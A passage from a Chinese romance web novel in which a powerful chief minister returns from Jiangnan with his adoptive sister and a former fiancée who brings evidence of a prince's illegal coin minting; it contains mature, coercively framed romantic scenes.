“免得下次又招架不住,哭得那般可怜。” “噗——咳咳咳!” 令颐一口粥呛在喉咙里,小脸瞬间涨得通红。 她杏眸圆睁,羞愤交加地瞪着颜彻:“哥哥!” 颜彻瞧着她这副羞恼欲绝的模样,笑得十分愉悦。 他不再逗她,心情极好地起身,离开了雅间。 …… 甲板上,晨风带着水汽,吹散了几分船舱内的旖旎, 颜彻负手立于船头,望着浩 渺烟波,眉宇间带着一丝处理完要务后的慵懒与满足。 赵福忠禀报说:“大人,邓大人和其他几位大人已在舱室候着。” “好。” 颜彻收回目光。 还未走到舱室,一阵尖锐的斥骂声传来。 “下贱胚子,连个茶都端不稳,这身衣裳是你能糟蹋的" 不远处,一个穿着体面的老婆子叉着腰,唾沫横飞地训斥着一个丫鬟。 那丫鬟不过二十左右的年纪,身形瘦小,穿着粗布衣裳,半边脸颊高高肿起,布满清晰的指痕。 嘴角还带着血丝,显然是刚被狠狠掌掴过。 她捂着脸,瘦弱的肩膀瑟瑟发抖。 颜彻微不可察地蹙了下眉,一丝被打扰的不悦掠过眼底。 侍立一旁的赵福忠何等机敏,立刻上前一步道:“大公子,老奴这就让她们离开。” 话音未落,颜彻的目光,却在不经意间扫过了那个跪在地上、抬起泪眼的小丫鬟的脸庞。 只是一瞥,他的脚步却倏然顿住。 凤眸微微眯起,目光在那张布满泪痕的脸上停留,似乎在确认。 周围的气压仿佛都低了几分。 赵福忠的话卡在喉咙里,屏息凝神,不敢出声。 只见颜彻缓缓收回目光,脸上已恢复了一贯的平静无波,仿佛刚才那一瞬的停顿只是错觉。 他用极平淡的声音对赵福忠吩咐道:“查清那个年轻女子的来历,事无巨细。” “是。” 赵福忠心中一凛,立刻躬身应下。 目光忍不住再次投向那个瑟瑟发抖的丫鬟,心中惊疑不定。 这张脸究竟有什么特别之处,竟能在一瞬间引起大公子如此关注? 除了二姑娘,他可是从没见过大公子对女人上过心。 * 在扬州的这段时日,颜彻变本加厉的教导,终于让令颐感到了害怕。 虽然两人衣衫尚算齐整,并未逾越最后的界限…… 但那些亲吻、触碰、探索,远不是当初念念话本、观察观察别人就可以的学习程度! 她现在只要一看到哥哥那张俊美无俦的脸,想到他可能随时开始的教导,便会条件反射般面红耳赤。 而每当她流露出羞怯退缩之意,颜彻便会说她学得不够,领悟太慢。 随即,力度与花样变本加厉。 令颐每每被他困在怀中,被那些陌生而汹涌的感觉席卷,只能无助地小声哭泣,推他的胸膛。 “哥哥坏透了!呜呜……再也不是……再也不是令颐的温柔兄长了!” “当然不是令颐的兄长,是夫君。” 他温柔哄着,其他并不耽误。 令颐心里那个温文尔雅的兄长形象彻底碎成了泡影,取而代之的是一个充满侵略性的男人。 这日清晨梳妆时,侍女璎珞看着她眼下淡淡的青影,忍不住关切地问:“姑娘这几日看着总是倦倦的,可是夜里睡得不安稳?还是布粥累着了?” 令颐心里哀叹:能不累吗?精气神都快被哥哥吸干了! 她嘟囔出声:“呜,男人……都是说一套做一套……” 语气里充满了被骗的委屈。 璎珞不明就里,只当姑娘是知道了什么八卦,感叹世事。 她一边给令颐簪花,一边自然地接话道:“姑娘这才明白呀?老话说得好,‘男人的嘴,骗人的鬼’,可不就是嘛!姑娘金尊玉贵,哪里知道那些臭男人的德性!” “嗯?” 令颐疑惑地转头,水眸里带着一丝懵懂的好奇。 璎珞和旁边另一个侍女玉珠对视一眼,立刻来了精神。 玉珠手脚麻利端来一小盘瓜子,三个年纪相仿的女孩围坐在窗边的小几旁。 “姑娘您是不知道啊。” 璎珞嗑着瓜子,打开了话匣。 “那些男人啊,十个里有九个半是油嘴滑舌的!专会捡好听的说哄人!” 令颐想到哥哥平日里温言软语哄她,转头就变本加厉,深以为然地点头:“嗯!” 玉珠接口:“何止油嘴滑舌,还个个高傲自大得很!总觉得自己多了不起似的!” 令颐想到哥哥那睥睨众生的眼神和不容置疑的语气,再次用力点头:“对!” 璎珞语气鄙夷:“最可恨的是朝三暮四,吃着碗里的,看着锅里的!但凡有点权势钱财,哪个不是三妻四妾往家里抬?恨不能把天下的美色都占全了!” 令颐下意识点头:“嗯……” 点到一半,忽然觉得哪里不对,疑惑地看向璎珞:“啊?朝三暮四?” “可不是嘛!” 璎珞以为姑娘不信,连忙举例:“姑娘您看咱们扬州府里这些官老爷们,上到知府大人,下到有点头脸的属官,哪个不是正房太太坐镇,后院里还养着几房姨娘通房?” “前些日子酉阳湖盛宴,那些花船上的姐儿,还有那些想攀高枝的良家女子,个个卯足了劲儿往贵人身边凑,不就是为了得个青眼,好飞上枝头?” “听说那天晚上,好些大人房里……” 她没说完,给了个“你懂的”眼神。 令颐脑海中瞬间闪过那晚隔壁传来的暧昧声响,小脸一红,顿时明白了。 原来……那是……啊。 两个侍女见姑娘听进去了,感慨道:“所以说啊,像咱们颜大人这样的,那简直是凤毛麟角,不像凡人了!” “就是就是!位极人臣,权倾朝野,年纪轻轻,样貌才情哪样不是顶尖儿的?可您看他,身边除了姑娘您,何曾见过半个女子近身?清心寡欲得跟庙里的菩萨似的!” 令颐听着侍女们的赞叹,再想想自己每日被吸干的经历,心情复杂到了极点。 她心虚地点了点头:“嗯,哥哥他……是挺好的。” 正说着,一个下人来报:“姑娘,赵总管传话,大人已吩咐收拾行装,准备启程回京了。” 令颐怔了怔,要离开扬州了? 她心里说不出是什么滋味,有些留恋,又隐隐松了口气。 或许回京后,哥哥忙于朝政,这教导就能……歇一歇? “嗯嗯我知道了。” 璎珞和玉珠脸上露出不舍:“姑娘这就要回京了吗?奴婢们还真舍不得姑娘呢。” 她们在扬州府衙伺候,难得遇到令颐这样性子好,没架子,又真心待她们的主子。 令颐善解人意地笑道:“令颐也舍不得两位姐姐呢,若姐姐们不嫌弃京城路远,不如就跟着令颐一起回京如何?” “你们的卖身契,我会让赵总管去办,从扬州府衙转到哥哥府上便是。” 璎珞和玉珠一听,简直不敢相信自己的耳朵。 能跟着颜大人和二姑娘去京城?这可是天大的造化! 两人瞬间喜极而泣,扑通一声跪下连连磕头:“谢姑娘大恩!谢姑娘大恩!奴婢们愿意!奴婢们一定尽心尽力伺候姑娘一辈子!” “快起来,快起来!” 令颐连忙扶起她们。 两人欣喜若狂,开始麻利收拾令颐的细软。 令颐也起身,打算亲自去找赵福忠,把要带走璎珞玉珠的事情说定。 赵福忠处理杂务的偏房就在不远处,她走到门口正要抬手推门,却听到里面传出一个陌生女子的声音。 “多谢大人和赵总管搭救,小女愿为奴为婢,追随大人左右。” 声音清冷柔弱,听着便让人心神一漾。 令颐抬起的手,瞬间顿在了半空中。 第56章 第56章“哥哥有婚约?!”…… 令颐透过门缝朝里看去。 屋内女子身形纤细窈窕,穿着一身半新不旧的素色衣裙,乌发只用一根简单的木簪松松挽着,露出小半截白皙得近乎透明的脖颈。 她背对着门,看不清全貌,但仅仅一个侧影,便透着一股子清冷的柔弱气质,如同寒风中一枝伶仃的白梅。 令颐心头莫名一紧。 这个女子身上有一种,与哥哥如出一辙的疏离感。 赵福忠从袖中取出一个青瓷小瓶,递了过去,态度颇为客气。 “商姑娘,这是上好的消肿化瘀膏,大人特意吩咐老奴交给 姑娘,嘱咐姑娘好生将养身子,莫要忧思过甚。” “姑娘若愿意跟着大人,便随我们一道回京吧。” 女子接过药瓶,小心捧在胸口,像得了什么珍宝。 “多谢大人挂怀,烦请赵总管代为通传一声,小女子想当面叩谢大人恩德。” “这……” 赵福忠略一沉吟:“好吧,姑娘随我来。” 窗外的令颐,心脏像是被一只无形的手猛地攥紧。 那小瓶她认得,是哥哥之前亲自拿给她用的,说是宝应县那位医术精湛的段大夫亲手调制的独门秘药,对外伤瘀肿有奇效。 哥哥当时还要亲手给她涂,如今,这药却出现在另一个陌生女子手中。 令颐扁了扁嘴心里有股说不清道不明的酸涩。 在赵福忠转身欲出房门之际,她迅速闪身躲到了廊柱后。 然后,鬼使神差地,悄悄跟上了他们的脚步。 颜彻的房间里,熏着淡淡的松柏香。 他立于书案前,提笔批阅一份加急文书。 赵福忠轻手轻脚地进来,躬身禀报:“大人,商姑娘到了,想当面叩谢大人。” 颜彻并未抬头,笔尖在宣纸上流畅游走,淡淡“嗯”了一声。 商雪湄跟在赵福忠身后,盈盈走了进来。 双手紧张地绞着半旧的素色衣角,每一步都带着小心翼翼的畏怯,仿佛随时会被这室内的威压碾碎。 待她站定,颜彻才缓缓搁下笔,抬眸望去。 凤眸落在及那张清瘦苍白,还带着伤痕的脸庞上。 “商姑娘,好久不见了。” 他开口,声音平静无波。 这声称呼,如同投入平静湖面的石子,让商雪湄瘦弱的肩膀微微一颤。 她终于抬起头,面容憔悴却难掩清丽。 一双眼眸盛满哀愁,柔柔弱弱看向面前的男子,声音带着轻颤。 “是的,大人。” “当年彬江府一别,雪湄只有十四岁。” 她拿帕子擦了擦眼角,声音柔弱。 单薄的身影在宽大的旧衣里更显伶仃,惹人怜惜。 “那时,大人是名动彬江的少年才俊,家父便与大人的父亲定下了婚约。” “婚约”二字一出,门外的令颐顿时如遭雷击! 屋内,连见惯风浪的赵福忠也是惊骇不已。 他家大人清心寡欲,从不近女色,竟曾与人有过婚约?且从未提及半分! 商雪湄长长的睫毛上挂着晶莹的泪珠,欲坠不坠,更添凄楚。 “当年解除婚约,实乃家父一时糊涂。雪湄也曾百般不愿,只是身为闺阁女子,我无法违拗父命。” “此事是我商家负了大人,若大人因此心存芥蒂,怨恨于雪湄,雪湄……绝不敢有半句怨言。” 颜彻的目光淡淡掠过她泫然欲泣的脸,眸底无波无澜。 “陈年旧事,过眼云烟,不必再提。” 他垂下眼眸:“本官更想知道,你为何流落扬州,又为何落得此境地?” 商雪湄闻言,眼中瞬间蓄满了泪水,仿佛被触动了最深的痛处。 她强忍着不让泪水落下,姣好的面容破碎而悲戚。 “回大人,大人也知道,家父是彬江府经营铜器古玩的商人,手下经营几座钱庄,虽非显赫,却也乐善好施,颇得乡邻敬重。” “可恨那禹王府,他们仗着天家血脉,贪欲熏心,行的是祸乱的勾当!” 说到此处,她整个人摇摇欲坠,几乎要支撑不住。 颜彻抬了抬手:“福忠,看座。” 赵福忠连忙小心地将她扶到一旁的圈椅上。 商雪湄缓了缓心神,继续道:“禹王在封地深处暗设熔炉工坊,私毁官铜佛像,熔炼民间铜器,还以铅锡充银,私铸劣钱假银。” “这些‘禹王钱’、‘禹王锭’流入市井,害得铜价飞涨,真银难觅。” “家父……家父因常需鉴别古铜真伪,一次偶然,从收来的旧铜料里发现了带有禹王府暗记的熔铸废渣,又暗中查访,竟摸到了他们一处隐秘的铸坊所在。还拿到了半本记录着熔铜数量、掺假比例和出货流向的火耗秘账。” 商雪湄泣不成声:“家父深知此事干系国本,一旦泄露便是泼天大祸。他本想秘密收集更多铁证,再设法呈交朝廷忠直大臣,可王府爪牙无孔不入,消息还是走漏了。” “禹王府他们在深夜派兵,以剿匪之名将我家团团围住,泼油纵火。满门三十七口,连襁褓中的幼弟都……” 她再也说不下去,瘦弱的脊背因剧烈的抽泣而剧烈起伏。 “只有雪湄,被乳娘塞进藏着那秘账和几块废渣的暗格,才侥幸逃得性命,流落至此。” “若非天可怜见,得遇大人垂怜,只怕也要命不久矣。” 颜彻静静听着,指节在紫檀案几上无意识地轻叩。 当听到“私铸劣钱假银”、“火耗秘账”、“禹王钱”时,他莞尔一笑。 他正愁,手上扳倒禹王的筹码不够致命呢。 “私铸钱银,祸国殃民,乃十恶不赦之罪。商家惨剧,本官必当奏明天听,为尔等讨还公道。” 他看向商雪湄:“你身负血海深仇,更握有如此关键证物,留在扬州恐遭不测。即日起,你便随本官回京。” “本官会护你周全,并设法将此案查个水落石出,以告慰商家冤魂。” 商雪湄抬起泪痕斑驳的脸,惶恐更甚。 “大人恩同再造!只是雪湄乃戴罪之身,又身怀此等招祸之物,岂敢再连累大人清誉官声?” “雪湄愿寻一处庵堂了此残生,只求大人能为我商家主持公道……” 她说着,又要跪下。 “雪湄姑娘不必过虑。” 颜彻语气温和:“你商家乃受害忠良,何罪之有?此证物关乎社稷,交予本官处置方是正途。” “你且安心随行,本官自有万全之策。” 这番温言软语似乎终于抚平了商雪湄的不安,她含着泪,深深拜下。 “雪湄,谢大人再造之恩。” 赵福忠上前:“商姑娘,请随老奴下去安置吧。” 他吩咐下人,引着虚弱的商雪湄退了出去。 就在他们踏出房门的刹那,一直躲在外面偷听的令颐慌忙逃离了回廊。 室内重归寂静,冷香袅袅。 赵福忠脸上带着不加掩饰的疑虑,低声道:“大公子,老奴总觉得,这位商姑娘似乎……有些怪异。” 颜彻已然坐回案后,重新执笔,闻言头也未抬。 唇角逸出一声极轻的嗤笑:“岂止是怪异。” 笔锋悬于宣纸之上,墨滴将坠未坠。 “她知道我与禹王府有旧怨,她就恰好带着禹王府足以致命的新罪证。” “还恰好在我途经扬州时,以如此无助的姿态,出现在我面前。” 赵福忠眉头皱起:“大公子的意思是,她是处心积虑,故意出现在大公子面前?” “巧合太多,便是刻意。” 颜彻的目光落在笔尖凝聚的墨滴上。 唇角含着笑,可那眼神分明锐利如刀。 “她的话,七分真三分假。商家灭门是真,禹王府的恶行多半也是真。至于她父亲到底是忠义之士发现罪证,还是分赃不均被灭口……” 他轻笑了声,并未将话说完。 商家那些人的嘴脸,他可是见识过的。 “这恰好的相遇,这精心编排的柔弱凄惨,无不是在引我入彀,想借我之手复仇。” “甚至,可能还存了些不该有的、攀附的心思。” 赵福忠厉色道:“此女心机深沉,留在身边恐是祸患!大公子要不要……” 他做了个“处理掉”的手势。 颜彻终于落笔,在文书上划下果断的一笔。 “不。” 他搁下笔,身体微微后仰,靠在椅背上。 “光靠她手上的火耗秘账还不够,她本人同样是禹王府最有力的罪证。” 他嘴角勾起一抹冰冷的弧度。 “她有所求,我有所需,只要她还在我的掌控之中,能为我所用,留着她,利大于弊。” 他随手拿起桌上一个青 瓷小瓶,放在手里端看。 瓶身温润,映着他深不见底的眸色。 “好好照顾这位商姑娘,她可是关键得很。” “是,大公子!”赵福忠心领神会,躬身应命。 * 夜深,令颐的寝房内灯火通明。 她心不在焉地摆弄着妆台上的珠钗,耳朵却竖着听门外的动静。 刚一听到脚步声,她一个箭步蹿上床榻,用被子裹着自己,装作自己已经歇息了。 颜彻推门而入,带着夜露清冽的气息。 “妹妹今日怎么这么早就歇息了?” 他走到床前,居高临下看着床上的小人,声音带着几分玩味。 “东西可都收拾妥当了?” 令颐装作刚刚被吵醒的样子,揉了揉眼睛:“嗯,都收拾好了。” 令颐低声应着,装作不经意地问:“哥哥……晚上去做什么了?去了好久。” 颜彻挑眉:“赵福忠没说么?去见了扬州府几位大人,交代些回京后的琐事。” “喔……” 令颐应了一声,手指攥着被子,欲言又止。 颜彻轻易捕捉到她眉宇间藏不住的纠结与一丝不易察觉的酸意。 “怎么了?妹妹怎么今晚心事重重的。” 他掀袍在床沿坐下,修长的手指轻轻搭在她纤细的腰肢上,安抚般地拍了拍。 令颐身体微僵,强挤出一个笑容:“没、没什么呀。” “是么?” 颜彻低笑一声:“你见到商雪湄了?” 第57章 第57章“身体很诚实” 令颐心头一跳,猛地抬头,对上他深邃的目光。 她慌乱地掩饰:“啊?商……商什么?谁?我没有啊。” 拙劣的演技一览无余。 颜彻看破不说破,慢条斯理道:“想问什么,直接问便是。” “对令颐,哥哥知无不言。” 令颐“唰”地一下从凳子上站起来,刚才的蔫蔫一扫而空。 “那个婚约是真的吗?哥哥以前真的和别的女子有过婚约?” “是真的,很多年前的事了,长辈做主定下的。”颜彻认真看着她说。 “后来我家遭难,倾覆在即,他们觉得我前途尽毁,便寻了个由头,将婚约解除了。” 前途尽毁。 这四个字像针一样扎进令颐的心脏。 只有她知道,当年不能参加科举这件事,给哥哥带来多大的伤痛。 可就在这个时候,他要还尽力保住她与侯府的婚约,隐忍,周旋,承受那些刻薄的刁难。 一股愧疚涌上心头,她觉得自己那点小心思简直是对哥哥的亵渎。 “哥哥,对不起,我今日不该偷听你们说话……” “我今日是看到了那个女子,也不小心听到说哥哥说你们之前有婚约,心里不知为何堵得慌……” “傻丫头。” 颜彻揉了揉她的发顶:“都过去了。” “不过,你能这样想,哥哥很高兴。” 令颐抬起头:“高兴?” “对,说明我们令颐学会吃醋了。” “你现在更加把哥哥当夫君看了,看到喜欢的人身边出现别人,心里是会难受的。” 男子的声音温柔似水:“令颐,真正喜欢一个人,是绝对不会愿意看到她与别人成亲的。” 令颐眨了眨眼睛,小声问:“那……如果真的成亲了,会怎么样?” 颜彻的眼神暗了下来。 他亲昵捏了捏她的下巴,力道温柔,却迫使她看向他。 “会争,会抢。” 他唇角扬起,明明是风流迷人的笑,却让人感觉有些凉意。 “总之,绝无可能,让那般景象成真。” 令颐被他眼中的森寒震住,一时说不出话来。 看着她一副心悸不安的样子,颜彻展颜一笑。 他将周身气场收敛,恢复成温柔兄长的模样。 “好了,你的问题问完了。那么,该哥哥问你了。” 令颐下意识挺直了小腰板,像等待夫子考校的学生。 “嗯嗯!哥哥问!” 他指腹暧昧蹭过她的唇角。 “这几日册子上的功课学得如何了?可有领悟其中精妙之处?姿势、力道、配合的关窍,可都记熟了?” 轰——! 令颐的脸颊瞬间爆红,一路红到了耳朵根! “哥哥你别说了!我、我没看,我不学!” 她赶紧挣脱开他的手,羞得恨不得找个地缝钻进去。 “哦?没看?” 颜彻长眉挑起,俯身靠近她。 “那怎么行?学海无涯,岂能半途而废?” “这些皆是闺房要义,夫妻伦常之根本。妹妹如此懈怠,日后如何侍奉夫君?” 他步步紧逼,令颐已是退无可退。 她羞愤欲绝,踢着腿抗议:“我不要学!哥哥坏死了!哪有这样逼人学这个的!” 颜彻看着她羞红欲滴、如同熟透蜜桃般的小脸,眼底笑意更浓。 指尖暧昧地划过她纤细的腰线,声音压得更低。 “无妨,你若觉得总是一味被动太过疲累……” 他顿了顿,欣赏着她瞬间僵硬的身体和骤然瞪大的水眸。 慢条斯理吐出下半句。 “我们也可以,换着来。” 令颐看着他,杏眸一点点睁大。 …… 第二日,众人启程回京。 庞大的队伍在运河码头集结,旌旗招展,甲胄鲜明。 相比来时,返程的众人脸上无不洋溢着喜气洋洋的春光。 无他,单看此次颜首辅巡视江南的雷霆手段与卓著成效,他们这些随行人员,日后的官运想不亨通都难。 颜彻身着象征一品大员的绯色仙鹤官袍,身姿挺拔,卓然立于主船船头,接受着扬州大小官员的恭敬拜别。 官员们敏锐地察觉到,这位素来清冷威严的首辅大人,今日眉宇间竟有了几分愉悦,甚至可以说神采飞扬。 “看来颜大人对此次江南之行,成果十分满意啊。” “是啊,我从未见过颜大人露出如此和煦的神色。” 赵福忠听着那些官员的话,默不作声。 想来大公子今日这和煦之色,也少不了二姑娘的功劳呢。 到达驿馆歇息时,颜彻径直去看令颐。 令颐正坐在窗边发呆,一见是他,小脸“腾”地红透,眼神慌乱地躲闪,活像只惊弓之鸟。 颜彻踱步到她面前,好整以暇地打量着她。 目光在她略显疲惫却更添几分慵懒风情的小脸上流连,唇角勾起一抹弧度。 “恢复得如何了?可还有哪里不适?” 令颐赶忙否认:“谁、谁说我身体不适了?” 颜彻挑眉:“昨晚不是一直哼哼唧唧说,自己受不了,快要晕过去了吗?” “哥哥!” 令颐羞愤低喊,恨不得捂住他的嘴。 “你、你别说啦!” 直到昨晚她才明白过来,什么主导?全是骗人的! 昨晚,她刚鼓起一丝勇气尝试,就被那汹涌的羞耻感淹没,僵硬得如同木偶。 颜彻轻笑一声,极其自然地接过了掌控权。 她这才真正领教了哥哥在“教导”一事上,是何等的天赋异禀,以及……能折磨人! 没有肌肤相贴,甚至两人的衣物都保持着诡异的完整。 他只是隔着那层薄薄的布料,用指尖、用气息、用言语,在她身体上摆弄出各种距离与角度。 但就是,该做的,一样没少。 完全按照小册子上的步骤来的。 他在她耳边低语,用滚烫的气息诱哄她沉沦。 每次她难耐地仰起头,撞上他那道仿佛要将她拆吃入腹的视线,都能激起她身体一阵剧烈颤抖。 她倔强地咬着唇,泪水在眼眶里打转,死活不肯溢出声,仿佛那是最后的防线。 偏偏颜彻还要恶劣地给她摆上证据。 “妹妹似乎并不像嘴上说的那样,完全难以接受?” 令颐觉得自己浑身的血液都在发烫,几乎要冒出烟来。 颜彻见她一副恨不得原地消失的模样,反而更来了兴致。 用那种剖析学术般的冷静语调,详细讲述那证据是如何在他精心教导下产生的。 “啊啊啊——!别说了!哥哥你坏蛋!” 令颐不想再回忆,羞耻得恨不得当场昏厥。 就在这时,房门被轻轻敲响,随即推开。 商雪湄端着一盅热气腾腾的汤走了进来,姿态依旧纤细柔弱,带着病后的苍白。 令颐如同抓到救命稻草,瞬间用尽全身力气猛地推开近在咫尺的颜彻,向后拉开一大段距离。 小脸涨得通红,眼神慌 乱地整理着微乱的衣襟。 商雪湄仿佛没察觉到室内微妙的气氛,温婉地将汤盅放在桌上。 福身行礼:“大人,姜姑娘。” “夜深露重,雪湄想着二位一路辛劳,便熬了些滋补的参鸡汤,给二位驱驱寒气。” 颜彻脸上的柔情蜜意瞬间收敛,恢复了一贯的疏离淡漠,淡淡颔首:“放下吧,有心了。” 商雪湄恭敬地福了福身,目光在令颐绯红的脸颊和颜彻微敞的领口处极快地掠过,垂眸退了出去。 门刚关上,颜彻便对候在外面的赵福忠吩咐道:“汤倒了。” “是。” 赵福忠应声而入,动作麻利将那盅汤端了出去。 颜彻转向心绪不宁的令颐:“以后她送来的东西,不必入口,也别太接近此人。” 令颐一愣,不解地看着他:“为什么?这个姐姐看起来……挺好的啊?” 在她单纯的认知里,商雪湄是个身世可怜、知恩图报的弱女子。 唯一特别的,可能就是她和哥哥有婚约这件事。 既然误会解开了,还是哥哥的故人,她不是应该更亲近才对吗? 颜彻没有解释:“听话,提防着点便是。” 令颐呆呆“哦”了一声。 * 回程的路上,商雪湄主动请缨照顾令颐。 她总是安静地待在角落,却时刻留意着令颐的需求,适时地递上茶水、点心,替令颐整理发髻。 面对这样小心翼翼的恭敬和体贴伺候,久而久之,令颐也不好意思再冷脸拒绝。 “姜姑娘,雪湄在扬州时,便听闻大人身边有位才貌双绝、心地纯善的妹妹,在扬州布施粥米,活人无数,美名远扬。” 她声音清泠,带着恰到好处的谦恭与亲近。 “如今得见,果真是明珠生辉。” “难怪大人……视若珍宝。” 令颐没听出她的弦外之音,被她夸得有些不好意思。 “商姐姐过誉了,你身子还未大好,快坐下歇着,这些小事不用劳烦你的。” 商雪湄微微欠身,姿态放得更低。 “姑娘折煞雪湄了,雪湄不过是一介下人,承蒙大人垂怜搭救,已是天大的恩德。做些力所能及的事,是雪湄的本分,还请姑娘莫要推辞。” 她言辞恳切,眼神温顺。 见她如此谦卑感恩,又提及是哥哥所救,令颐心中那点因婚约而起的芥蒂渐渐消散,戒备之心也放下了许多。 两人有一搭没一搭地说着话,气氛倒也平和。 忽然,商雪湄的目光落在令颐的唇上:“姑娘唇上这胭脂,似乎有些晕开了?” “啊?晕开了?” 令颐下意识地摸了摸唇瓣:“许是方才吃点心的时候不小心蹭花的吧。” 商雪湄莞尔一笑,拿绣帕帮令颐擦唇角。 就在她抬手擦拭的瞬间,宽大的素袖随着动作微微向下滑落,露出一截纤细的手腕。 腕间,赫然系着一条红绳编织的手链。 令颐看着那手链,瞳孔骤然一缩! 手链上,挂着一个用上等白玉精雕细琢而成的玉麒麟。 麒麟的形态、大小、乃至眉眼神韵,竟与她贴身佩戴在颈间、颜彻所赠的那枚玉麒麟项坠一模一样。 令颐她强压下翻涌的情绪,指向商雪湄的手腕:“商姐姐,这玉麒麟是?” 商雪湄顺着她的目光看向自己手腕,微微一怔。 随即露出一抹带着追忆与淡淡哀伤的浅笑。 她轻轻抚摸着那枚温润的玉麒麟,声音低柔:“这个是很多年前,家父特意寻了上好的玉料,请能工巧匠雕琢而成的一对儿。” 她顿了顿,抬眼看向令颐,目光平静无波。 “一只赠予了当时的……颜郎君,另一只,便留给了我。” 轻飘飘的话语,如同锤子砸在令颐心口。 她下意识地抚上自己颈间那枚同样温润的玉麒麟,只觉得那熟悉的触感此刻变得有些烫,几乎要灼伤她的皮肤。 “这样啊……” 她听见自己干涩的声音响起,掩饰不住的失落。 商雪湄看着她黯淡的神情,缓缓垂下了眼帘。 长长的睫毛在脸上投下阴影,完美地掩盖住了眼底一闪而过的情绪。 第58章 第58章“那方面很厉害”…… 颜彻一行人离开京城时还是盛夏,归来时,京城已披上了初冬的寒霜。 回城当日,万人空巷,从巍峨的城门楼一路到森严的宫阙。 朱雀大街两侧人头攒动,百姓们争相一睹这位立下不世之功的年轻首辅风采。 旌旗仪仗逶迤如龙,甲兵开道,簇拥着那辆象征着无上权柄的玄色马车,在震天的欢呼中缓缓前行。 盐税巨额亏空的罪魁祸首被揪出伏法,江南豪强势力被镇压,濒临哗变的军队被他以雷霆手腕安抚、分化、拉拢。 这一桩桩一件件,皆是泼天大功。 太皇太后大悦,在宫中设下三日宫宴,款待颜首辅及麾下有功之臣。 金銮殿内,灯火辉煌,珍馐满席。 太皇太后与皇帝端坐龙椅,她举杯,面朝坐在主宾席的颜彻。 “颜卿忠勤体国,智勇无双,实乃社稷肱骨”。 满殿勋贵重臣无不随声附和,赞誉之词如潮水般涌向那位青年首辅。 颜彻身着御赐的蟒袍玉带,容颜俊美,神色沉静。 举杯、谢恩、应对,每一处礼仪都周至妥帖,无可挑剔。 令颐作为颜彻的妹妹,亦在受邀之列,席位紧邻着长公主萧明玥。 萧明玥看着席间风仪万千的颜彻,凑近令颐道:“颜大人好厉害,此番从江南回来,当真是风光无限,无人能及!” 令颐自然也是骄傲的。 但是想起哥哥最近的恶劣行径,她小声嘟囔道:“是啊,哪方面都很厉害……” “姐姐说的是哪方面?” 令颐脸上一烫,赶紧道:“不不,我是说……哥哥确实很出众!” 萧明玥连连点头。 她又拉着她的袖子问:“对了,听说姐姐也跟着去了江南?快跟我讲讲,江南水乡是何等景致?可有什么新奇好玩的?” 两人小姑娘叽叽喳喳分享着别后见闻。 当萧明玥听到令颐在江南遭遇刺杀,惊得花容失色:“天哪!姐姐你没事吧?可有伤着哪里?吓坏了吧?” 令颐连忙安抚:“殿下别担心,我没事,就是受了点惊吓。” “倒是哥哥为了护我,肩头中了一箭,伤得很重,养了好久呢。” 想起谷底那惊心动魄的一幕和颜彻染血的苍白面容,她的小脸也不由得白了白。 萧明玥赶紧安慰了几句,令颐摇头说自己没事,两人又开开心心吃了起来。 * 三日的宫宴终于散去。 回到阔别已久的颜府,熟悉的气息扑面而来。 芳菲和晴雪早已在二门处翘首以盼,一见令颐的身影,立刻迎了上来。 “姑娘!您可算回来了!” 芳菲眼圈微红,拉着令颐的手上下打量,嘴里不停念叨着。 “姑娘瘦了,江南的日头也太毒了些。” “快让奴婢看看,可有哪里不舒坦?” 晴雪也在一旁关切地问候着,随即目光落在令颐身后跟着的两个面生的俏丽丫鬟身上。 她故意酸溜溜地打趣道:“唉,怪不得姑娘去了江南这许久,也不甚想念我们这些旧人了,原来是又寻了两个水灵的新妹妹伺候呢!奴婢们可要吃醋了!” 令颐有些不好意思,脸颊微红:“哪有的事!璎珞、玉珠,快见过芳菲姐姐和晴雪姐姐。” 璎珞和玉珠连忙上前,恭敬 地行礼问好。 “她们俩是扬州知府衙门的侍女,随我回京的。芳菲,她们就交给你调教了,规矩要仔细教好。” 芳菲笑着应下:“姑娘放心,奴婢省得。” 令颐又转向晴雪,问道:“我离京这些日子,同文馆那边可还好?大家都怎么样了?” 晴雪回话:“馆里一切都好,先生和姐妹们常念叨姑娘呢。” “若姑娘想去,明日奴婢就陪您一同过去瞧瞧?正好也散散心。” 令颐点了点头:“好,明日就去。” 另一边,颜彻吩咐下人们将行李箱笼收拾妥当,各归其位。 赵福忠上前请示:“大人,商姑娘该如何安置?是留在府中,还是……” 颜彻淡淡道:“安排到西郊别院,派两个稳妥的人过去伺候。无事不必回府禀报,更不许她过多接近令颐。” “是,老奴明白。” * 翌日,令颐带着精心准备的江南特产礼物,来到了同文馆。 她一路走一路想,祝师姐见到她定会欢喜,羡文师兄说不定又要打趣她,李友仁那个馋猫肯定要抢点心。 祝师姐见到她肯定会高兴,说不定还要捏捏她的脸。羡文师兄嘛,肯定又要摇着扇子,打趣她“小师妹又去江南搜刮民脂民膏啦”?至于李友仁还有其他几个馋猫同窗,说不定一下就把她的点心抢光了! 想着朋友们惊喜的表情和热闹的场面,她脚下的步子越来越轻快。 馆内依旧书声琅琅,亭台楼阁依旧。 令颐走着走着,忽然察觉到一丝异样。 往日的熟面孔见到她,笑容似乎有些勉强,眼神躲闪,匆匆一句“姜姑娘回来了”便算打过招呼,全然没了往日的亲热。 空气中弥漫着一种微妙的压抑感,不复往日的轻松活泼。 令颐心里“咯噔”一下,抱着礼物走进平日上课的学堂。 果然,里面的气氛同样沉闷。 她一眼就看到了趴在桌上的李友仁。 这个平日里插科打诨一刻也闲不住的活宝,此刻竟然安静如鸡,这简直比太阳打西边出来还稀奇! “李郎君?” 令颐走过去,把一份用油纸包得漂漂亮亮、散发着诱人甜香的点心放在他桌上,还故意晃了晃。 “喏,给你们带的江南点心,尝尝看?” 李友仁抬起头,赶忙扯出笑来:“哟,令颐回来啦?哈哈哈……多谢多谢!” 语气干巴巴的,全无往日的跳脱。 令颐环顾四周,不见那两个最亲近的身影,奇怪道:“羡文师兄和祝师姐呢?怎么没见着?我还特意给他们带了礼物呢。” 听到这两个名字,李友仁脸上的笑容彻底石化。 “他、他们啊……嗯,那个,他们有点事儿,没来。” 眼神闪烁,支支吾吾起来,就差把“有大事发生”写在脑门上了。 令颐见他这副模样,心猛地一沉。 李友仁这反应太不对劲了,他绝不是这种吞吞吐吐的性格。 她紧紧盯着他:“到底怎么了?出什么事了?你快说呀!” 李友仁眼神乱瞟,就是不敢看她,嘴里含糊着:“没、没什么大事……就是……” 令颐见他还在嘴硬,小脾气也上来了,松开手,作势就要往外冲。 